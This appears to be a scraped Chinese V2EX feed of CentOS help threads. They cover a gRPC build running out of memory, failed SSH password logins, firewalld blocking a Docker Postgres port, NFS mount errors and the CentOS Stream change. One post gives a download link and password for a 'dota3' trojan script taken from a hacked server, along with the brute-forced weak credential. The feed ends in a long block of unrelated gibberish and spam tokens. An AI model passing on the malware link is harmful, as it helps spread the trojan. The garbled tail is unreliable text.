[ 49%] Building CXX object third_party/protobuf/CMakeFiles/libprotoc.dir/__/src/google/protobuf/compiler/plugin.cc.o [ 49%] Building CXX object third_party/protobuf/CMakeFiles/libprotoc.dir/__/src/google/protobuf/compiler/plugin.pb.cc.o [ 49%] Building CXX object third_party/protobuf/CMakeFiles/libprotoc.dir/__/src/google/protobuf/compiler/python/python_generator.cc.o [ 50%] Built target bssl ^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^Cmake[2]: *** [third_party/protobuf/CMakeFiles/libprotoc.dir/__/src/google/protobuf/compiler/code_generator.cc.o] 中断 make[2]: *** [third_party/abseil-cpp/absl/flags/CMakeFiles/absl_flags.dir/flag.cc.o] 中断 make[2]: *** [third_party/abseil-cpp/absl/status/CMakeFiles/absl_statusor.dir/statusor.cc.o] 中断 make[1]: *** [third_party/protobuf/CMakeFiles/libprotoc.dir/all] 中断 make: *** [all] 中断 ^C 

ctrl + c 后 swap 里反而有了使用内存:

Every 2.0s: free -m Fri Jul 9 12:44:15 2021 total used free shared buff/cache available Mem: 3685 166 3450 1 68 3358 Swap: 11967 262 11705 

gcc 和系统版本:

[root ~]#gcc --version gcc (GCC) 7.3.1 20180303 (Red Hat 7.3.1-5) [root ~]#uname -a Linux MiWiFi-RA50-srv 3.10.0-1160.31.1.el7.x86_64 #1 SMP Thu Jun 10 13:32:12 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 

跪求各位大佬帮忙分析下,如何才能让 swap 生效,从而可以完成编译 grpc,可以从哪些方面去分析呢?

]]>
i7-10700 不支持 centos7.6 吗,安装直接黑屏 tag:www.v2ex.com,2021-07-03:/t/787354 2021-07-03T12:43:25Z 2021-06-30T12:42:25Z snuglove member/snuglove 新到手一台机器,配置是华硕 B460m 主板 cpu 是 i7-10700 没有显卡,装 win10 是正常的,装 centos7.6 时点击完 install 就没画面了.第一次遇到,不知道这是怎么了....

]]>
急! centos7 安装过程中卡住 tag:www.v2ex.com,2021-06-18:/t/784213 2021-06-18T05:00:28Z 2021-06-23T00:05:06Z zhifSu member/zhifSu 微信图片_20210618112923.jpg

鼠标啥的都动不了了 什么情况,

]]>
求助: ssh 远程无法登陆提示: Permission denied, please try again tag:www.v2ex.com,2021-06-04:/t/781412 2021-06-04T08:23:54Z 2021-06-05T05:27:05Z qping member/qping 使用密钥登陆是可以的,但是在别的机器上使用密码登陆就不行了。服务器系统版本是 Centos 7.8.2003.

尝试过以下的步骤:

  1. 当 ssh 上服务器后,su - root 输入密码是可以的,排除密码错误的问题
  2. /etc/ssh/sshd_config 里面的 # PermitRootLogin yes 的 # 去掉并重启 systemctl restart sshd,还是不行
  3. /etc/ssh/sshd_config 里面的 PasswordAuthentication 值原来就是 yes
  4. setenforce 0 也不行
  5. 尝试查看安全日志 :/var/log/secure 发现不管是登陆成功还是失败,在里面都没有生成新的日志
  6. 查看 /etc/hosts.allow 和 /etc/hosts.deny 里面都没有配置东西
  7. 查看登陆日志:执行 last 命令发现有个 roo 用户(我没有打错,就是少一个 t),是不是有可能被攻击了?
root pts/1 170.3.69.2 Fri Jun 4 15:49 still logged in root pts/1 170.3.69.2 Fri Jun 4 15:47 - 15:49 (00:01) root pts/1 170.3.69.2 Fri Jun 4 15:46 - 15:47 (00:00) ...省略一些差不多的 ... roo pts/0 :0 Wed Mar 24 12:23 - 12:24 (00:01) roo pts/0 :0 Wed Mar 24 12:16 - 12:23 (00:07) roo :0 :0 Wed Mar 24 12:10 - down (00:14) reboot system boot 3.10.0-1127.el7. Wed Mar 24 12:00 - 12:24 (00:24) 

既然使用密钥可以登陆的话,那网络问题应该排除了。实在没有办法了,有没有大佬能帮忙鉴定下问题出现在哪里?

这个是使用密钥成功能登陆的日志( ssh -v -p 22 <ip 地址>):

OpenSSH_7.4p1, OpenSSL 1.0.2k-fips 26 Jan 2017 debug1: Reading configuration data /root/.ssh/config debug1: /root/.ssh/config line 40: Applying options for * debug1: Reading configuration data /etc/ssh/ssh_config debug1: /etc/ssh/ssh_config line 58: Applying options for * debug1: auto-mux: Trying existing master debug1: mux_client_request_session: master session id: 2 Last login: Fri Jun 4 15:59:42 2021 

这个是在别的电脑上使用密码登陆失败的日志( ssh -v -p 22 <ip 地址>):

OpenSSH_7.4p1, OpenSSL 1.0.2k-fips 26 Jan 2017 debug1: Reading configuration data /root/.ssh/config debug1: /root/.ssh/config line 1: Applying options for * debug1: Reading configuration data /etc/ssh/ssh_config debug1: /etc/ssh/ssh_config line 58: Applying options for * debug1: auto-mux: Trying existing master debug1: Control socket "/root/.ssh/<这里是 ip>-22-root" does not exist debug1: Connecting to <这里是 ip> [<这里是 ip>] port 22. debug1: Connection established. debug1: permanently_set_uid: 0/0 debug1: key_load_public: No such file or directory debug1: identity file /root/.ssh/<这里是 key 名称>.key type -1 debug1: key_load_public: No such file or directory debug1: identity file /root/.ssh/<这里是 key 名称>.key-cert type -1 debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_7.4 debug1: Remote protocol version 2.0, remote software version OpenSSH_6.6.1 debug1: match: OpenSSH_6.6.1 pat OpenSSH_6.6.1* compat 0x04000000 debug1: Authenticating to <这里是 ip>:22 as 'root' debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: algorithm: curve25519-sha256@libssh.org debug1: kex: host key algorithm: ecdsa-sha2-nistp256 debug1: kex: server->client cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none debug1: kex: client->server cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none debug1: kex: curve25519-sha256@libssh.org need=64 dh_need=64 debug1: kex: curve25519-sha256@libssh.org need=64 dh_need=64 debug1: expecting SSH2_MSG_KEX_ECDH_REPLY debug1: Server host key: ecdsa-sha2-nistp256 SHA256:sQeFN1/GfQqAohAXEyndzeCStwG4wEcawUl3vZhwniw debug1: Host '<这里是 ip>' is known and matches the ECDSA host key. debug1: Found key in /root/.ssh/known_hosts:23 debug1: rekey after 134217728 blocks debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: rekey after 134217728 blocks debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password debug1: Next authentication method: gssapi-keyex debug1: No valid Key exchange context debug1: Next authentication method: gssapi-with-mic debug1: Unspecified GSS failure. Minor code may provide more information No Kerberos credentials available (default cache: KEYRING:persistent:0) debug1: Unspecified GSS failure. Minor code may provide more information No Kerberos credentials available (default cache: KEYRING:persistent:0) debug1: Next authentication method: publickey debug1: Trying private key: /root/.ssh/<这里是 key 名称>.key debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password debug1: Next authentication method: password root@<这里是 ip>'s password: debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password Permission denied, please try again. root@<这里是 ip>'s password: debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password Permission denied, please try again. root@<这里是 ip>'s password: debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password debug1: No more authentication methods to try. Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password) 
]]>
请教一个 centos8 命令 brctl 问题 tag:www.v2ex.com,2020-12-28:/t/739802 2020-12-28T16:12:14Z 2020-12-28T17:44:30Z Yakir member/Yakir centos6 中可以使用 brctl 命令管理本地网桥 例如:brctl delbr xxx, brctl addif xxx xxx

但在 centos8 中貌似使用了 nmcli 命令替代,请问大佬知道如何用 nmcli 创建虚拟网桥以及挂载网桥吗?

]]>
CentOS 悄悄的走了? tag:www.v2ex.com,2020-12-18:/t/736869 2020-12-18T09:55:14Z 2020-12-18T10:19:44Z youla member/youla 在 v 站也没人讨论,不应该啊。

各位第一个用到的 GNU/Linux 是什么呢??

我是普普通通 Ubuntu

]]>
Rocky Linux [CentOS 后续] tag:www.v2ex.com,2020-12-11:/t/734324 2020-12-11T00:05:26Z 2020-12-11T09:06:52Z wzw member/wzw https://github.com/rocky-linux/rocky

空项目已经 2.1k star 了

自己主力用 Debian, 但是有些项目只支持 CentOS 呀, 例如 NI-VISA

]]>
更新到了 centos stream,然后 vnc 挂了 tag:www.v2ex.com,2020-12-10:/t/734313 2020-12-10T17:27:09Z 2020-12-28T01:24:32Z wty member/wty 当你们还在争论到底是好处还是坏处的时候我已经把程序更炸了🤣

从 centos8 转成 stream 之后,vnc 变成要用 systemd 启动,然后配了半天就一直是启动完马上就退出,也不报错。搜了一下只在 arch 的论坛上发现有人讨论这个问题。。。

]]>
RIP CentOS tag:www.v2ex.com,2020-12-09:/t/733708 2020-12-09T05:12:39Z 2020-12-09T05:20:32Z tiramice member/tiramice https://blog.centos.org/2020/12/future-is-centos-stream/

2022 年开始 centOS 将变成 RHEL 的 Beta 测试平台。。。

]]>
CentOS 8, 21 年底 EOF,以后就变滚动更新了。 以后也没 CentOS 9 了 tag:www.v2ex.com,2020-12-09:/t/733608 2020-12-09T01:59:32Z 2020-12-09T02:46:01Z alanying member/alanying https://blog.centos.org/2020/12/future-is-centos-stream/

最后一句话神了:

If you are using CentOS Linux 8 in a production environment, and are concerned that CentOS Stream will not meet your needs, we encourage you to contact Red Hat about options.

We will not be producing a CentOS Linux 9, as a rebuild of RHEL 9. Instead CentOS Stream 9 fulfills this role. (See Q6 below regarding the overlap between concurrent streams.)

]]>
centos7 系统 hp gen 系列服务器,两块 ssd 做了 raid1,如何远程查看硬盘是否损坏? tag:www.v2ex.com,2020-11-04:/t/721738 2020-11-04T07:09:24Z 2020-11-04T07:30:13Z herozzm member/herozzm 如果损坏其中一块,正确方式应该是如何换新硬盘上去?直接热拔下坏的 ssd,插上新的 ssd 就行?不需要提前格式化新硬盘吧?

]]>
一拨号默认路由就断了 这个怎么解决 tag:www.v2ex.com,2020-11-02:/t/720989 2020-11-02T06:08:50Z 2020-11-02T06:07:50Z sx5486510 member/sx5486510 默认机器通过网卡 1 dhcp 分配的 ip 通外网,再在机器里通过网卡 2 拨号网络会断掉,ip ro 看了下 没有了默认路由,号拨上去后会自动添加一个 ppp 的默认路由。 怎么才能在拨号的时候外网不断线?

]]>
bt 的同步时间好像有问题了? tag:www.v2ex.com,2020-10-29:/t/719746 2020-10-29T05:06:37Z 2020-10-29T05:15:06Z chenqh member/chenqh 我现在同步的时间居然是 00:06-00:08?

关键我用 ali 同步也有问题 难道不是 sudo ntpdate -u 这个命令?

]]>
求助一个关于 CentOS 8 防火墙 Firewalld 的问题 tag:www.v2ex.com,2020-10-03:/t/712346 2020-10-03T05:14:36Z 2020-10-17T04:13:17Z scfhao member/scfhao 我的环境: 在一个台式机上安装了 CentOS 8,在 CentOS 8 上安装了 Docker,在 Docker 里运行了 Postgres 数据库的容器,容器的端口暴漏到主机(-p 5432:5432 )。 遇到的问题: 在本机( CentOS 8 )上可以通过 5432 端口访问 Postgres 数据库服务,但是只要 CentOS 的防火墙开着,在同一个局域网中的其他电脑访问不到( telnet: Unable to connect to remote host: No route to host );如果关了 CentOS 的防火墙,其他主机可以正常访问 Postgres 。 需要补充的说明:

  1. Postgres 的两个配置文件postgresql.confpg_hba.conf已正常配置允许其他主机访问。
  2. 在 CentOS 8 的防火墙中已添加 Postgres 服务:firewall-cmd --zOne=public --add-service=postgresql,也尝试过firewall-cmd --zOne=public --add-port=5432/tcp
  3. 也尝试过关闭 SELinux,同样不起作用。
]]>
CentOS 7.7 系统,数据库放数据盘有什么危害?数据库比较大,现在数据盘还剩 6G,更换麻烦 tag:www.v2ex.com,2020-09-11:/t/706251 2020-09-11T11:20:22Z 2020-09-11T13:09:49Z l890908 member/l890908 www.hop5.in 这个源可靠么 tag:www.v2ex.com,2020-07-08:/t/688310 2020-07-08T09:55:43Z 2020-07-08T09:52:43Z barrysn member/barrysn 有没有大佬了解 www.hop5.in 这个 yum 源是否可靠?

要给 centos6 安装 4.8+ 的 gcc,看到有人使用这个 yum 源 ,但不清楚该 yum 源是否可靠。

还有就是如果大佬有好的简便的 安装高版本 gcc 的方法,也求分享

]]>
centos7 内核 3.10 升级到 5.72 无法识别网卡 tag:www.v2ex.com,2020-06-15:/t/681770 2020-06-15T09:51:19Z 2020-06-15T14:12:35Z AnjingJingan member/AnjingJingan 3.1 内核进入系统网卡是正常的并且能连接网络 QQ 截图 20200615174433.png

重启切换 5.7.2 内核进入系统没有加载网卡,如图 QQ 截图 20200615174848.png

请问这个问题该怎么解决?

]]>
因为弱口令服务器遭到 dota3 木马攻击,病毒脚本供大家研究 tag:www.v2ex.com,2020-06-15:/t/681654 2020-06-15T04:29:25Z 2020-06-15T04:28:25Z nc4697 member/nc4697 下载:https://wws.lanzous.com/ituwYdot5vc 密码:ah8q

ssh 用户名 /密码:test1/test123456,应该是通过撞库登录进来的,目前已恢复

恢复过程:删除定时任务,删除进程,删除脚本,删除 authorized_keys,删除若口令用户

]]>
求教 nfs 服务器挂载报 Connection refused 的问题 tag:www.v2ex.com,2020-05-30:/t/676973 2020-05-30T08:11:26Z 2020-05-30T05:11:26Z shyy06 member/shyy06 求教下 V2 的大佬. 有台 NFS 服务器遇到挂载问题,系历史遗留问题,以前是偶尔有一段时间出现报错,过一段时间就可以了,最近是天天报错。

环境信息,centos7

现象描述,设备 mount 共享文件夹,没问题。但是一旦设备重启了,再去 mount 必然会出现 failed: Connection refused 提示。 服务器端:nfs 正常运行,rpcbind 正常运行,尝试过关闭防火墙报错依然存在,/etc/exports 配置信息如下: /home/share *(rw,async,wdelay,no_root_squash,no_subtree)

目前出现这个问题时候,都是通过重启网络临时解决这个问题。systemctl restart network 请教下大佬们,怎么分析问题,怎么解决这个问题呢? 每次都是设备重启后再去 mount,必然报错,然后重启网络才能连上。

]]>
CentOS 8 为什么有这么大坑? tag:www.v2ex.com,2020-05-28:/t/676385 2020-05-28T09:22:04Z 2020-05-28T21:19:49Z ali0531 member/ali0531 多网段互联互通问题? tag:www.v2ex.com,2020-05-18:/t/672860 2020-05-18T05:47:14Z 2020-05-18T05:47:14Z aloof member/aloof 服务器 A:192.168.3.10,192.168.42.1 服务器 B:192.168.4.10 服务器 C:192.168.6.10 服务器 D:192.168.42.10 服务器 A 与 B 、C 、D 都是通的,现需要将 B 、D 和 C 、D 连通,路由应该怎么配?

]]>
podman pod create 遇墙 tag:www.v2ex.com,2020-05-14:/t/671652 2020-05-14T07:44:30Z 2020-05-14T07:43:30Z PDX member/PDX k8s.gcr.io 被墙 pull 不来

修改 /usr/share/containers/libpod.conf

infra_image = "k8s.gcr.io/pause:3.1"

=>

infra_image = "docker.io/mirrorgooglecontainers/pause"

]]>
ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86